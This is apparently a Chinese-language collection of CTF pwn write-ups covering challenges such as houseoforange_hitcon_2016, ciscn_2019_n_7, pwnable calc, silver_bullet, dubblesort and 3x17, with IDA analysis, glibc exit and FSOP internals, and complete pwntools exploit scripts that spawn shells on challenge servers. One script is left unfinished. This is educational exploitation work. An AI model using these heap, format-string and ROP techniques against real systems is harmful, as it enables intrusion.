p.sendline(b'A' * 0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))
p.interactive()

运行即可 get shell

image.png

0x065.wustctf2020_number_game

拖入 IDA 进行分析

读一个数,要她本身小于等于 0 且 其取负值同样小于等于 0

image.png

考虑 0x80000000,其本身为负数,取反码 + 1 还是负数

exp如下:

from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
p = remote('node3.buuoj.cn', 27318)

p.sendline(str(-0x80000000))
p.interactive()

运行即可 get shell

image.png

0x066.gyctf_2020_some_thing_interesting - fmtstr + heap fengshui

惯例的 checksec,保护全开

image.png

拖入 IDA 进行分析

一开始会让你输入一个字符串并验证,但是只比较前 0xE 个字符

image.png

大概有着打印初始字符串、创建、修改、释放、打印堆块的功能

image.png

存在一个格式化字符串漏洞

image.png

一次可以分配两个 chunk, 但是限制了大小,似乎没法直接拿 unsorted

image.png

有一个裸的 UAF

image.png

利用格式字符串泄漏出位于栈上的 libc 相关地址以获得 libc 基址后改 malloc hook 为 one_gadget 即可

exp 如下:

from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
p_name = './gyctf_2020_some_thing_interesting'
p = remote('node3.buuoj.cn', 29134)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')

def cmd(command:int):
    p.recvuntil(b"> Now please tell me what you want to do :")
    p.sendline(str(command).encode())

def 


def exp():
    p.sendline(b"OreOOrereOOreO")

if __name__ == '__main__':
    exp()

0x??? ~ 0x???

0x???.houseoforange_hitcon_2016 - House of Orange

想都不用想肯定事保护全开

image.png

拖入 IDA 进行分析,大概有着分配、打印、编辑堆块的功能,没有释放的功能

只能分配三次

image.png

漏洞点在于编辑堆块的时候验证不严密,存在堆溢出

image.png

由于没有 free() 函数,考虑通过堆溢出修改 top chunk 的 size 后再行分配触发 brk 系统调用扩展堆区将原有 top chunk 送入 unsorted bin 后再分配回来,通过 bk 指针泄露 libc 基址,通过分配 large bin 以由 fd_nextsize 泄露堆基址

随后在 unsorted bin 中伪造 _IO_file_plus 结构体,通过 House of Orange 的手法进行 FSOP 以 get shell

比较坑的一个点大概是本地和远程偏移好像有些小不一样……?后面懒得去算偏移了直接大面积撞就完事了

exp 如下:

from pwn import *
#context.log_level = 'debug'
p_name = './houseoforange_hitcon_2016'
p = remote('node3.buuoj.cn', 27323)#process(p_name)#
e = ELF(p_name)
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def cmd(command:int):
    p.recvuntil(b"Your choice : ")
    p.sendline(str(command).encode())

def new(size:int, content, price:int, color:int):
    cmd(1)
    p.recvuntil(b"Length of name :")
    p.sendline(str(size).encode())
    p.recvuntil(b"Name :")
    p.send(content)
    p.recvuntil(b"Price of Orange:")
    p.sendline(str(price).encode())
    p.recvuntil(b"Color of Orange:")
    p.sendline(str(color).encode())

def dump():
    cmd(2)

def edit(size:int, content, price:int, color:int):
    cmd(3)
    p.recvuntil(b"Length of name :")
    p.sendline(str(size).encode())
    p.recvuntil(b"Name:")
    p.send(content)
    p.recvuntil(b"Price of Orange: ")
    p.sendline(str(price).encode())
    p.recvuntil(b"Color of Orange: ")
    p.sendline(str(color).encode())

def exp():
    new(0x10, b'arttnba3', 114514, 0xddaa)
    edit(0x1000, b'arttnba3' * 2 + p64(0) + p64(0x21) + b'arttnba3' * 2  + p64(0) + p64(0xfa1), 114514, 0xddaa)
    new(0x1000, b'arttnba3', 114514, 0xddaa)
    new(0x400, b'arttnba3', 114514, 0xddaa)
    dump()
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x668
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.success('libc base leak: ' + hex(libc_base))
    edit(0x10, b'arttnba3' * 2, 114514, 0xddaa)
    dump()
    p.recvuntil(b'arttnba3' * 2)
    heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
    heap_base = heap_leak & 0xfffffffff000
    log.success('heap base leak: ' + hex(heap_base))

    fake_file = b""
    fake_file += b"/bin/sh\x00" # _flags, an magic number
    fake_file += p64(0x61) # _IO_read_ptr, chunk size, got it into proper small bin
    fake_file += p64(0) # _IO_read_end
    fake_file += p64(libc_base + libc.sym['_IO_list_all'] - 0x10)# _IO_read_base
    fake_file += p64(0)# _IO_write_base
    fake_file += p64(libc_base + libc.sym['system'])# _IO_write_ptr
    fake_file += p64(0)# _IO_write_end
    fake_file += p64(0)# _IO_buf_base;
    fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
    fake_file += p64(0) * 4 # from _IO_save_base to _markers
    fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
    fake_file += p32(2) # _fileno for stderr is 2
    fake_file += p32(0) # _flags2, usually 0
    fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
    fake_file += p16(0) # _cur_column
    fake_file += b"\x00" # _vtable_offset
    fake_file += b"\n" # _shortbuf[1]
    fake_file += p32(0) # padding
    fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
    fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
    fake_file += p64(0) # _codecvt, usually 0
    fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
    fake_file += p64(0) * 3 # from _freeres_list to __pad5
    fake_file += p32(0xFFFFFFFF) # _mode, usually -1
    fake_file += b"\x00" * 19 # _unused2
    fake_file = fake_file.ljust(0xD8,b'\x00') # adjust to vtable
    fake_file += p64(heap_base + 0x600) # fake vtable`
    fake_file += 20 * p64(libc_base + libc.sym['system'])

    edit(0x1000, b'a' * 0x400 + p64(0) + p64(0x21) + b'arttnba3' * 2 + fake_file, 114514, 0xddaa)
    #gdb.attach(p)
    cmd(1)

    p.interactive()

if __name__ == '__main__':
    exp()

运行即可 get shell

image.png

0x???.ciscn_2019_n_7 - exit_hook hijact + one_gadget | FSOP

惯例的checksec,保 护 全 开(噔 噔 咚

拖入IDA进行分析,可知该程序有着分配、编辑、打印堆块的功能

但是我们仅能够分配一个堆块,且无法释放堆块

漏洞点在于创建/编辑堆块时输入作者姓名时存在溢出,可以覆写掉与其相邻的堆块指针,在接下来的编辑中我们便可以实现任意地址写

同时,输入666则可直接泄露libc地址

解法一:劫持exit_hook

由于程序退出时必定会调用exit()函数,故考虑劫持exit_hook为one_gadget后退出程序即可get shell

需要注意的一点是在计算_rtld_global的相对偏移时,由于libc中同名函数的存在,导致ELF.sym不可用,此处需要我们手动调试算出相对偏移(似乎这个结构体不在libc而在ld中,等笔者有时间再进一步研究)

_rtld_global的偏移…

libc2.23下偏移为0x5f0040,两个hook的偏移为3848和3850

libc2.27下偏移为0x61b060,两个hook的偏移为3840和3848

libc2.31下该劫持方法失效,但是可更改为劫持__elf_set___libc_atexit_element__IO_cleanup__,偏移为0x1ed608

构造exp如下:

from pwn import *
#context.log_level = 'DEBUG'
p = process('./ciscn_2019_n_7')#remote('node3.buuoj.cn', 26348)
libc = ELF('./libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc-2.31.so')#
one_gadget = 0xf1147
p.recv()
p.sendline(b'666')
puts_addr = int((p.recvuntil(b'\n', drop = True)), 16)
libc_base = puts_addr - libc.sym['puts']
log.info('libc leak: ' + str(hex(libc_base)))
p.recvuntil(b"Your choice-> ")
p.sendline(b'1')
p.recvuntil(b"Input string Length: ")
p.sendline(str(0x100).encode())
p.recvuntil(b"Author name:")
p.send(b'arttnba3' + p64(libc_base + 0x5f0040+3848))
p.recvuntil(b"Your choice-> ")
p.sendline(b'2')
p.recvuntil(b"New Author name:")
p.send(b'arttnba3')
p.recvuntil(b"New contents:")
p.send(p64(libc_base + one_gadget)*2)
p.sendline('5')
p.interactive()

运行即可get shell

exit()函数利用相关…

一个Linux程序的执行流程应当如下图所示:

考虑如下代码:

/* Note: the fini parameter is ignored here for shared library.  It
is registered with __cxa_atexit.  This had the disadvantage that
finalizers were called in more than one place.  */
STATIC int
LIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),
		 int argc, char **argv,
#ifdef LIBC_START_MAIN_AUXVEC_ARG
		 ElfW(auxv_t) *auxvec,
#endif
		 __typeof (main) init,
		 void (*fini) (void),
		 void (*rtld_fini) (void), void *stack_end)
{
/* Result of the 'main' function.  */
int result;
...
#else
/* Nothing fancy, just call the function.  */
result = main (argc, argv, __environ MAIN_AUXVEC_PARAM);
#endif

exit (result);
}

该段代码为__libc_start_main()函数的部分代码,该函数定义于csu/libc-start.c中

我们不难从中看出,当一个程序结束的时候,都会缺省调用exit()函数

exit()函数定义于stdlib/exit.c中,如下:

void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

依旧是libc中常见的套娃函数,其调用了__run_exit_handlers()函数,我们继续对齐跟进

该函数同样定义于stdlib/exit.c中,如下:

void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
		     bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors.  */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();

/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;

__libc_lock_lock (__exit_funcs_lock);

restart:
cur = *listp;

if (cur == NULL)
	{
	  /* Exit processing complete.  We will not allow any more
	     atexit/on_exit registrations.  */
	  __exit_funcs_done = true;
	  __libc_lock_unlock (__exit_funcs_lock);
	  break;
	}

while (cur->idx > 0)
	{
	  struct exit_function *const f = &cur->fns[--cur->idx];
	  const uint64_t new_exitfn_called = __new_exitfn_called;

	  /* Unlock the list while we call a foreign function.  */
	  __libc_lock_unlock (__exit_funcs_lock);
	  switch (f->flavor)
	    {
	      void (*atfct) (void);
	      void (*onfct) (int status, void *arg);
	      void (*cxafct) (void *arg, int status);

	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
	      PTR_DEMANGLE (onfct);
#endif
	      onfct (status, f->func.on.arg);
	      break;
	    case ef_at:
	      atfct = f->func.at;
#ifdef PTR_DEMANGLE
	      PTR_DEMANGLE (atfct);
#endif
	      atfct ();
	      break;
	    case ef_cxa:
	      /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
		 we must mark this function as ef_free.  */
	      f->flavor = ef_free;
	      cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
	      PTR_DEMANGLE (cxafct);
#endif
	      cxafct (f->func.cxa.arg, status);
	      break;
	    }
	  /* Re-lock again before looking at global state.  */
	  __libc_lock_lock (__exit_funcs_lock);

	  if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
	    /* The last exit function, or another thread, has registered
	       more exit functions.  Start the loop over.  */
	    goto restart;
	}

*listp = cur->next;
if (*listp != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (cur);

__libc_lock_unlock (__exit_funcs_lock);
}

if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());

_exit (status);
}

该函数经过一系列的处理之后最终会调用_exit()函数,通过系统调用exit结束进程的生命

观察到于该函数中有三个函数指针:atfctonfctcxafct,分别会根据listp(上层函数传参静态指针__exit_funcs,指向exit_function_list类型结构体静态变量initial,exit_function_list结构体中有着32个exit_function结构体变量,该类型结构体使用联合体的方式储存三种函数指针,进程中的所有exit_function_list链接成一单向链表)中不同的exit_function的flavor的不同值调用不同的函数指针

使用gdb进行动态调试,我们可以发现其调用的其中一个函数为_dl_fini()

该函数定义于elf/dl-fini.c中,我们主要关注如下部分代码:

void
_dl_fini (void)
{
...
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads.  */
__rtld_lock_lock_recursive (GL(dl_load_lock));
...
	  __rtld_lock_unlock_recursive (GL(dl_load_lock));

在这里用到了两个宏__rtld_lock_lock_recursive__rtld_lock_unlock_recursive,其定义于sysdeps/nptl/libc-lockP.h中,如下:

#ifdef SHARED
...
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)

# define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)

这里用到了一个宏GL(),该宏定义于sysdeps/generic/ldsodefs.h中,如下:

#ifndef SHARED
# define EXTERN extern
# define GL(name) _##name
#else
# define EXTERN
# if IS_IN (rtld)
#  define GL(name) _rtld_local._##name
# else
#  define GL(name) _rtld_global._##name
# endif
struct rtld_global
{
#endif

在define SHARED之后有两个分支:_rtld_local_rtld_global,这里我们暂且不深究细节,使用gdb进行调试我们可以发现对于主线程而言_rtld_local就是_rtld_global

最终我们进行宏展开可得如下结果:

_rtld_global._dl_rtld_lock_recursive(&(_rtld_global._dl_load_lock).mutex)
_rtld_global._dl_rtld_unlock_recursive(&(_rtld_global._dl_load_lock).mutex)

即在这里会调用_rtld_global结构体中的两个函数指针_dl_rtld_lock_recursive与_dl_rtld_unlock_recursive,这就是我们所常说的exit hook

使用gdb调试我们可以计算出其相对于libc基址的偏移,这里便不再赘叙

需要注意的是在glibc2.31及以后的版本中exit函数不会再调用_dl_fini函数,对于该个exit hook的利用失效

libc 2.31下的 exit hook

众所周知(x),在exit函数执行流程中会调用_IO_cleanup()函数

image.png

其上层调用函数为__run_exit_handlers()这个函数会执行一系列的函数指针,其中就包括_IO_cleanup()

因此我们只需要在储存_IO_cleanup()指针的位置覆写上我们的backdoor函数地址即可get shell

gdb调试,观察到这样一个东西__elf_set___libc_atexit_element__IO_cleanup__里面储存着_IO_cleanup函数的地址

image.png

经过调试我们不难得知这便是类似 「exit hook」一样的东西,__run_exit_handlers()数会执行其上的函数指针,那么只需要往上写backdoor地址(如one_gadget等)即可get shell

注意到exit()函数中还调用了 _IO_flush_all_lockp ()函数,这为我们提供了另一种利用exit函数get shell的解法——FSOP

解法二:File Stream Oriented Programme

由于glibc2.23中未加入对vtable表的合法性检测,故我们可以考虑直接劫持_IO_2_1_stderr_及其vtable表执行system("/bin/sh")以get shell(stderr为FILE链表的头结点),其中由于__overflow()函数会将指向FILE的指针作为其第一个参数,故考虑将”/bin/sh”字符串构造于fake file的开头

构造exp如下:

from pwn import *
#context.log_level = 'DEBUG'
p = process('./ciscn_2019_n_7')#remote('node3.buuoj.cn', 26348)
libc = ELF('./libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc-2.31.so')#
one_gadget = 0xf1147
p.recv()
p.sendline(b'666')
puts_addr = int((p.recvuntil(b'\n', drop = True)), 16)
libc_base = puts_addr - libc.sym['puts']
log.info('libc leak: ' + str(hex(libc_base)))
p.recvuntil(b"Your choice-> ")
p.sendline(b'1')
p.recvuntil(b"Input string Length: ")
p.sendline(str(0x100).encode())
p.recvuntil(b"Author name:")
p.send(b'arttnba3' + p64(libc_base + libc.sym['_IO_2_1_stderr_']))

fake_file = b""
fake_file += b"/bin/sh\x00" # _flags, an magic number
fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0)# _IO_read_base
fake_file += p64(0)# _IO_write_base
fake_file += p64(libc_base + libc.sym['system'])# _IO_write_ptr
fake_file += p64(0)# _IO_write_end
fake_file += p64(0)# _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8,b'\x00') # adjust to vtable
fake_file += p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x10) # fake vtable

p.recvuntil(b"Your choice-> ")
p.sendline(b'2')
p.recvuntil(b"New Author name:")
p.send(b'arttnba3')
p.recvuntil(b"New contents:")
p.send(fake_file)
p.sendline('5')
p.interactive()

运行即可get shell

exit()函数与FSOP相关…

由于程序退出时必定会调用exit()函数,故我们要对这个函数多多上心2333

我们不难观察到在exit()函数当中还会调用 _IO_flush_all_lockp ()函数

该函数会刷新_IO_list_all链表中所有项的文件流 ,定义于libio/genops.c中,我们主要关注其中的如下代码:

int
_IO_flush_all_lockp (int do_lock)
{
...
    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;
...

中间的那一段宏一般为假,我们暂且先不管

那么其会检查如下两个条件:

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

按照程序执行流程,在这两个条件通过之后便会使用宏_IO_OVERFLOW(),其定义于libio/libioP.h中,如下:

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
...
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

由此可知其最终会调用vtable表中的__overflow函数,且第一个参数为指向FILE自身的指针

笔者个人比较常规的做法是按照FILE的结构构造出一个fake file预备着用,等到真正要劫持FILE结构体的时候对照相应的需求部分改一改后复制粘贴即可,目前考虑有时间封装一个库就像pwntools中的SigreturnFrame()一样(但是什么时候有时间呢无限摸鱼者A3

0x???.mrctf2020_easyrop - ret2text

从比较靠后的无人区挑了一道简单题来做2333(为了混分

惯例的checksec,发现只开了栈不可执行保护

image.png

主函数中根据我们所输入的数字进入不同的函数,输入7则在进入相应的函数之后退出

image.png

同时我们可以发现存在能够直接getshell的gadget

image.png

虽然说几个函数都是向main中的v5上写入,但是最大的一个函数仅可以写入0x300字节,溢出到rbp要0x310字节

image.png

不过我们可以发现,在byby()函数中程序会将v5看作为一个字符串,并在字符串末尾开始读入用户输入

image.png

由于hehe()能够读入0x300字节,故我们考虑先使用hehe()函数构造一个长度为0x2ff的字符串,再调用byby()函数进行读入,便可以溢出控制主函数的返回地址返回至system("/bin/sh")

故构造exp如下:

from pwn import *
#context.log_level='debug'
p = remote('node3.buuoj.cn',29482)#process('./mrctf2020_easyrop')#
p.sendline('2')
sleep(1)
p.send(b'A'*(0x300-1)+b'\x00')
sleep(1)
p.sendline('7')
sleep(1)
p.send(b'A'*0x11+p64(0xdeadbeef)+p64(0x40072a))
p.interactive()

运行脚本即得flag

image.png

0x???.pwnable_calc - ret2syscall

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析

image.png

大概是模拟了一个计算器,其中get_expr()为读入表达式,init_pool()为初始化数据栈

核心的计算函数为parse_expr(),跟进(部分变量经重命名

逻辑大概是逐字符遍历输入的表达式,若遇到+ - * / % \0等符号则会将此前的未读部分字符串转换为数字,压入pool数组中(可以看作是存放数据的栈),其中pool[0]用以保存当前数据量

这里的验证逻辑是通过整型上溢完成的,并不是很严密

image.png

接下来便是通过运算符进行相应的计算,由于* / %优先级高于+ -的缘故,这里设计了一个专门用以存放运算符的栈,运算逻辑如下:

  • 若栈中无运算符则会将运算符压入栈中
  • 若栈中原有运算符或新运算符为低优先级运算符,则会使用eval()函数计算原有数据,同时将栈中原运算符弹出,压入新运算符
  • 若栈中原有运算符与新运算符同为高优先级运算符,则会将新运算符压入栈中
  • 若输入的运算符为其他运算符(验证不严密),则会直接使用eval()函数计算原有数据,弹出原有运算符

遍历结束后,运算符栈中还可能留有一些数据,此时再使用循环进行计算

image.png

不过在eval()函数中并没有定义求模运算,也就是说求模运算的模数会被自动舍弃

image.png

那么这里就存在一个逻辑漏洞:若是直接输入运算符加数字(如+200)则会直接改写num_pool[0]的值,而我们在calc()函数中输出结果时便是输出的num_pool[num_pool[0]]的值,那么我们便可以通过这个逻辑漏洞随意泄露栈上数据

同样地,若是我们在其后再跟上其他运算表达式,便能够任意修改栈上的值

简单计算一下便知道num_pool[361]的位置便是calc()函数的返回地址

那么我们只需要在上面构造rop链即可get shell

不过我们还需要手动将/bin/sh字符串写到栈上,可以通过泄露ebp获得栈上地址后写入即可,以及需要自己计算一下偏移,这里按我的rop链布局刚好在后边所以偏移为0

image.png

exp如下:

from pwn import *
context.arch = 'i386'
p = remote('node3.buuoj.cn',26915)
e = ELF('./calc')
#context.log_level = 'debug'

def write(dst:int, val:int, op):
    p.sendline('+' + str(dst) + op + str(val))
    p.recv()
    
def leak(dst:int):
    p.sendline('+' + str(dst))
    return int(p.recvuntil(b'\n', drop = True))

def set_val(dst:int, val:int):
    n = leak(dst)
    if n != 0:
        if n > 0:
            write(dst, n, '-')
        elif n < 0:
            write(dst, -n, '+')
    if val != 0:
        if val > 0:
            write(dst, val, '+')
        elif val < 0:
            write(dst, -val, '-')
pop_eax_ret = e.search(asm('pop eax ; ret')).__next__()
pop_edx_pop_ecx_pop_ebx_ret = e.search(asm('pop edx ; pop ecx ; pop ebx ; ret')).__next__()
pop_ecx_pop_ebx_ret = 0x80701d1
pop_edx_ret = 0x80701aa
int_0x80 = e.search(asm('int 0x80')).__next__()
log.success(hex(pop_eax_ret))

p.recv()
stack_leak = leak(360)
sh_addr = stack_leak

set_val(361, pop_eax_ret)
set_val(362, 11) # execve
set_val(363, pop_edx_pop_ecx_pop_ebx_ret)
set_val(364, 0)
set_val(365, 0)
set_val(366, sh_addr)
set_val(367, int_0x80)
set_val(368, u32(b'/bin'))
set_val(369, u32(b'/sh\x00'))

p.sendline()
p.interactive()

运行即可get shell

image.png

0x???.pwnable_silverbullet - overwrite

惯例的checksec,只开了NX和RELRO

image.png

拖入IDA进行分析

大概是可以创建子弹、增强子弹、射击狼人(

创建子弹的函数如下:

image.png

不难看出,在main函数的调用栈上用如下结构体表示一颗子弹:

typedef struct __INTERNAL_BULLET_
{
    char content[0x30];
    int power;
}silver_bullet;

漏洞点主要在于power_up()函数中,使用strncat()函数进行拼接,该函数会在字符串末尾添加'\0'可以重置计数,同时题目没开地址随机化,那么我们便可以直接溢出到main的返回地址以控制程序执行流,泄露libc地址一套带走

最终构造exp如下:

from pwn import *
p = remote('node3.buuoj.cn',28297)#remote('chall.pwnable.tw', 10103)
context.log_level = 'debug'
e = ELF('./silver_bullet')
libc = ELF('./libc-2.23.so')

p.sendlineafter(b'Your choice :', b'1')
p.send(b'A' * 47)
p.sendlineafter(b'Your choice :', b'2')
p.send(b'A')
p.sendlineafter(b'Your choice :', b'2')
p.send(b'\xff' * 3 + p32(0xdeadbeef) + p32(e.plt['puts']) + p32(e.sym['main']) + p32(e.got['puts']))

p.sendlineafter(b'Your choice :', b'3')
p.recvuntil(b"Oh ! You win !!\n")
puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.sym['puts']

p.sendlineafter(b'Your choice :', b'1')
p.send(b'A' * 47)
p.sendlineafter(b'Your choice :', b'2')
p.send(b'A')
p.sendlineafter(b'Your choice :', b'2')
p.send(b'\xff' * 3 + p32(0xdeadbeef) + p32(libc_base + libc.sym['system']) + p32(0xdeadbeef) + p32(libc_base + libc.search(b"/bin/sh\x00").__next__()))
p.sendlineafter(b'Your choice :', b'3')
p.interactive()

运行即可get shell

image.png

0x???.pwnable_dubblesort - ret2libc

惯例的checksec,保护全开

image.png

拖入IDA进行分析

image.png

一开始先输入一个字符串,后门输入要排序的数的数量和要排序的数,在这里检测不严密导致我们可以直接覆写函数返回地址为我们想要的数字

通过栈上残留的指针 + gdb调试我们可以得到libc的基址

image.png

这里我本地调出来的不对,gdb调试又没法装载他给的libc(format error)…就很离谱…

手动试了几次发现我本地多三个页…

接下来我们该考虑如何覆写栈上内容的同时不改变canary同时保持rop链的完备性

gdb调试可知canary的值其实是小于libc基址的

image.png

而我们的输入要想不破坏canary,绕过scanf则只需要输入'+''-'即可

而system的地址也小于/bin/sh的地址,中间我们只需要填充适当值即可

image.png

故最终的exp如下:

from pwn import *
p = remote('chall.pwnable.tw', 10101)#process('./dubblesort')
libc = ELF('./libc_32.so.6')

p.sendline(b'arttnba3' * 3)
p.recvuntil(b'arttnba3' * 3)
libc_leak = u32(p.recv(4))
print(p32(libc_leak))
log.info(hex(libc_leak))
libc_base = libc_leak - 0x1b000a
log.success(hex(libc_base))

p.sendline(b"35")
for i in range(24):
    p.sendline(b"1")
p.sendline(b"+")
for i in range(9):
    p.sendline(str(libc_base + libc.sym['system']))
p.sendline(str(libc_base + libc.search(b"/bin/sh\x00").__next__()))

p.interactive()

运行即可get shell

image.png

0x???.pwnable_317 - fini_array hijack

惯例的checksec,只开了NX

image.png

拖入IDA进行分析,静态编译 + 符号表扣光(悲

通过_start()函数我们能够了解到这个函数应当为main函数

image.png

其功能为往指定地址写最大0x18字节的数据,但是只能写一次

由于程序是静态编译的,故考虑劫持fini_array数组控制程序执行流以get shell

image.png

一开始只能读一次,那么考虑劫持fini_array[1]为main、fini_array[1]__libc_csu_fini()以反复读入,由于rbp的值便是fini_array,故我们可以将栈劫持到fini_array附近,在这里构造我们的rop链

构造exp如下:

from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'
p = remote('node3.buuoj.cn', 28247)
e = ELF('./3x17')

main = 0x401B6D
csu_fini = 0x402960
fini_array = 0x4B40F0
pop_rax_ret = e.search(asm('pop rax ; ret')).__next__()
pop_rdi_ret = e.search(asm('pop rdi ; ret')).__next__()
pop_rsi_ret = e.search(asm('pop rsi ; ret')).__next__()
pop_rdx_ret = e.search(asm('pop rdx ; ret')).__next__()
syscall = e.search(asm('syscall')).__next__()
leave_ret = e.search(asm('leave ; ret')).__next__()
ret = e.search(asm('ret')).__next__()

def write(addr:int, data):
    p.recvuntil(b"addr:")
    p.sendline(str(addr))
    p.recvuntil(b"data:")
    p.send(data)
    
write(fini_array, p64(csu_fini) + p64(main))
write(fini_array + 0x10, p64(pop_rax_ret) + p64(59)) # execve
write(fini_array + 0x20, p64(pop_rdi_ret) + p64(fini_array + 0x60))
write(fini_array + 0x30, p64(pop_rsi_ret) + p64(0))
write(fini_array + 0x40, p64(pop_rdx_ret) + p64(0))
write(fini_array + 0x50, p64(syscall))
write(fini_array + 0x60, b"/bin/sh\x00")
#gdb.attach(p)
write(fini_array, p64(leave_ret) + p64(ret))

p.interactive()

运行即可get shell

image.png

BJDCTF 2nd - Pwn

单开分区对我来说的结果就是我好多题的序号需要重排(恼)

[BJDCTF 2nd]r2t3 - integer overflow + ret2text

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

主函数中读入最大0x400个字节,但是开辟了0x408字节的空间,无法溢出

image.png

同时主函数会将输入传入name_check()函数中,若通过strlen()计算出来的长度在4~8个字节之间则会将我们的输入通过strcpy()拷贝至dest上,而这里到ebp之间只有0x11个字节的空间,我们完全可以通过这段代码覆盖掉该函数的返回地址

image.png

同时我们可以观察到存在可以直接getshell的后门函数

image.png

考虑到在name_check()函数中用来存放输入长度的变量为8位无符号整型,范围为0~255,故我们只需要输入260个字节便可以发生上溢降使该变量的值上溢为4,绕过判定

故构造exp如下:

from pwn import *

payload = b'A'*0x11 + p32(0xdeadbeef) + p32(0x804858b) + b'A' * (260 - 4 - 4 - 0x11)

p = process('./r2t3')#p = remote('node3.buuoj.cn',25595)
p.sendline(payload)
p.interactive()

发送payload即可getshell

image.png

[BJDCTF 2nd]one_gadget - one_gadget

首先从题目名字我们就可以看出这道题应该需要我们用到一个工具——one_gadget

什么是one_gadget?即在libc中存在着的可以直接getshell的gadget

惯例的checksec,发现保 护 全 开心 肺 停 止

image.png

拖进IDA里分析

image.png

主函数会读入一个整数到函数指针v4中,并尝试执行v4(),故我们只需要输入one_gadget的地址即可getshell

使用one_gadget工具可以找出libc中的getshell gadget

不明原因在arch上一直没法运行,只好切到Ubuntu

image.png

但是我们还需要知道libc的基址

我们可以发现在init()函数中会输出printf()函数的地址,有了这个我们便可以计算出libc的基址,也就有了one_gadget的真实地址

而题目也给了我们libc,故构造exp如下:

from pwn import *

one_gadget = 0xe237f

p = process('./one_gadget')#p = remote('node3.buuoj.cn',27792)#
e = ELF('./one_gadget')
libc = ELF('./libc-2.29.so')

p.recvuntil('here is the gift for u:')
printf_addr = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))
libc_base = printf_addr - libc.sym['printf']
getshell = libc_base + one_gadget
p.sendline(str(getshell))
p.interactive()

[BJDCTF 2nd]r2t4 - fmtstr

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析

image.png

main中存在溢出,且存在格式化字符串漏洞

image.png

存在可以读取flag的后门函数

简单尝试可以发现格式化字符串是位于栈上的第六个参数

image.png

故考虑利用格式化字符串进行任意地址写劫持got表中的__stack_chk_fail为后门函数地址即可

需要注意的是printf函数遇到\x00会发生截断,故不能直接使用fmtstr_payload,而是要用手写的格式化字符串

